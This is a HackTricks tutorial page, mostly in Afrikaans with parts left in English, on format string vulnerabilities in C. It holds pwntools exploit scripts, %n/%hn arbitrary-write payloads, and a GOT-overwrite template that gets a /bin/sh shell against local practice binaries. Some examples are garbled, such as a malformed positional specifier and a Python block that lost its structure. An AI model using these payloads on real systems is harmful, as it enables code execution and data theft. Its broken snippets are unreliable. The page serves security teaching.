Format Strings

Ondersteun HackTricks

Basiese Inligting

In C printf is 'n funksie wat gebruik kan word om te druk 'n string. Die eerste parameter wat hierdie funksie verwag is die rou teks met die formateerders. Die volgende parameters wat verwag word is die waardes om die formateerders van die rou teks te vervang.

Ander kwesbare funksies is sprintf() en fprintf().

Die kwesbaarheid verskyn wanneer 'n aanvaller teks as die eerste argument vir hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n spesiale invoer te vervaardig wat die printf formaat string vermoëns misbruik om te lees en skryf enige data in enige adres (leesbaar/skryfbaar). Op hierdie manier in staat om arbitraire kode uit te voer.

Formateerders:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Voorbeelde:

  • Kwetsbare voorbeeld:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normale Gebruik:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Met Ontbrekende Argumente:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf kwesbaar:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

Toegang tot Pointers

Die formaat %<n>$x, waar n 'n getal is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de parameter van die stapel met printf wil lees, kan jy doen:

printf("%x %x %x %x")

en jy sou van die eerste tot die vierde param lees.

Of jy kan doen:

printf("$4%x")

and lees direk die vierde.

Let op dat die aanvaller die printf-parameter beheer, wat basies beteken dat sy invoer in die stapel gaan wees wanneer printf aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.

'n Aanvaller wat hierdie invoer beheer, sal in staat wees om arbitraire adresse in die stapel by te voeg en printf toegang tot hulle te laat kry. In die volgende afdeling sal verduidelik word hoe om hierdie gedrag te gebruik.

Arbitraire Lees

Dit is moontlik om die formatter %n$s te gebruik om printf die adres wat in die n posisie geleë is, te laat kry, dit te volg en dit te druk asof dit 'n string is (druk totdat 'n 0x00 gevind word). So as die basisadres van die binêre 0x8048000 is, en ons weet dat die gebruiker se invoer in die 4de posisie in die stapel begin, is dit moontlik om die begin van die binêre te druk met:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Let daarop dat jy nie die adres 0x8048000 aan die begin van die invoer kan plaas nie, omdat die string in 0x00 aan die einde van daardie adres sal wees.

Vind offset

Om die offset na jou invoer te vind, kan jy 4 of 8 bytes (0x41414141) stuur, gevolg deur %1$x en verhoog die waarde totdat jy die A's ontvang.

Brute Force printf offset

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Hoe nuttig

Arbitraire lees kan nuttig wees om:

* **Dump** die **binaire** uit geheue
* **Toegang te verkry tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of paswoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Arbitraire Skrywe**

Die formatter **`$<num>%n`** **skryf** die **aantal geskryfde bytes** in die **aangegeven adres** in die \<num> parameter in die stapel. As 'n aanvaller soveel karakters kan skryf as wat hy wil met printf, sal hy in staat wees om **`$<num>%n`** 'n arbitraire getal in 'n arbitraire adres te laat skryf.

Gelukkig, om die getal 9999 te skryf, is dit nie nodig om 9999 "A"s by die invoer te voeg nie; om dit te doen, is dit moontlik om die formatter **`%.<num-write>%<num>$n`** te gebruik om die getal **`<num-write>`** in die **adres aangedui deur die `num` posisie** te skryf.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

However, note that usually in order to write an address such as 0x08049724 (which is a HUGE number to write at once), it's used $hn instead of $n. This allows to only write 2 Bytes. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.

Therefore, this vulnerability allows to write anything in any address (arbitrary write).

In this example, the goal is going to be to overwrite the address of a function in the GOT table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:

We are going to overwrite a function that receives its arguments from the user and point it to the system function. As mentioned, to write the address, usually 2 steps are needed: You first writes 2Bytes of the address and then the other 2. To do so $hn is used.

  • HOB is called to the 2 higher bytes of the address

  • LOB is called to the 2 lower bytes of the address

Then, because of how format string works you need to write first the smallest of [HOB, LOB] and then the other one.

If HOB < LOB [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

If HOB > LOB [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools-sjabloon

Jy kan 'n sjabloon vind om 'n exploit voor te berei vir hierdie soort kwesbaarheid in:

Of hierdie basiese voorbeeld van hier:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Formaat Strings na BOF

Dit is moontlik om die skryf aksies van 'n formaat string kwesbaarheid te misbruik om in adresse van die stapel te skryf en 'n buffer overflow tipe kwesbaarheid te ontgin.

Ander Voorbeelde & Verwysings

Last updated